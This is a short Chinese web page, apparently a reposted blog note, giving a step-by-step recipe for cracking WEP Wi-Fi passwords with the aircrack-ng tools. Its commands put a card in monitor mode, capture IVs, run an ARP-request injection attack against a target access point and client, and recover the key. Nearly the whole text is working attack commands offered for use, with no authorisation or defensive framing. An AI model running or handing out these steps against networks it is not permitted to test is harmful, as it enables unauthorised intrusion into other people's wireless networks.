wep密码破解

来源:互联网 发布:h3c端口加入vlan命令 编辑:程序博客网 时间:2024/05/21 21:48
确认网卡:
    ifconfig -a //查看网卡
        //如未识别无线网卡,ifconfig wlan0 up 加载网卡驱动
    iwconfig //查看无线网卡
激活网卡监听模式:
    airmon-ng start wlan0//监听模式下适配器名称会变为mon0
探测基本信息:
    airodump-ng mon0//获取工作频道
收集破解密码所需的ivs:
    airodump-ng --ivs -w longas -c 6 wlan0
    //--ivs 过滤模式
    //-c 6 工作频道为6
    //-w longas 保存到longas-*.ivs中
ArpRequest注入攻击加速报文产生
    aireplay-ng -3 -b AP的mac -h 客户端的mac mon0
    //-3 ArpRequesr注入攻击模式
    //-b 后跟Ap的mac地址
    //-h 后跟客户端的mac地址
破解wep
    aircrack-ng 捕获的ivs文件
重启网卡
sudo ifconfig wlan0mon down 
sudo iwconfig wlan0mon mode monitor 
sudo ifconfig wlan0mon up 
sudo iwconfig wlan0mon
0 0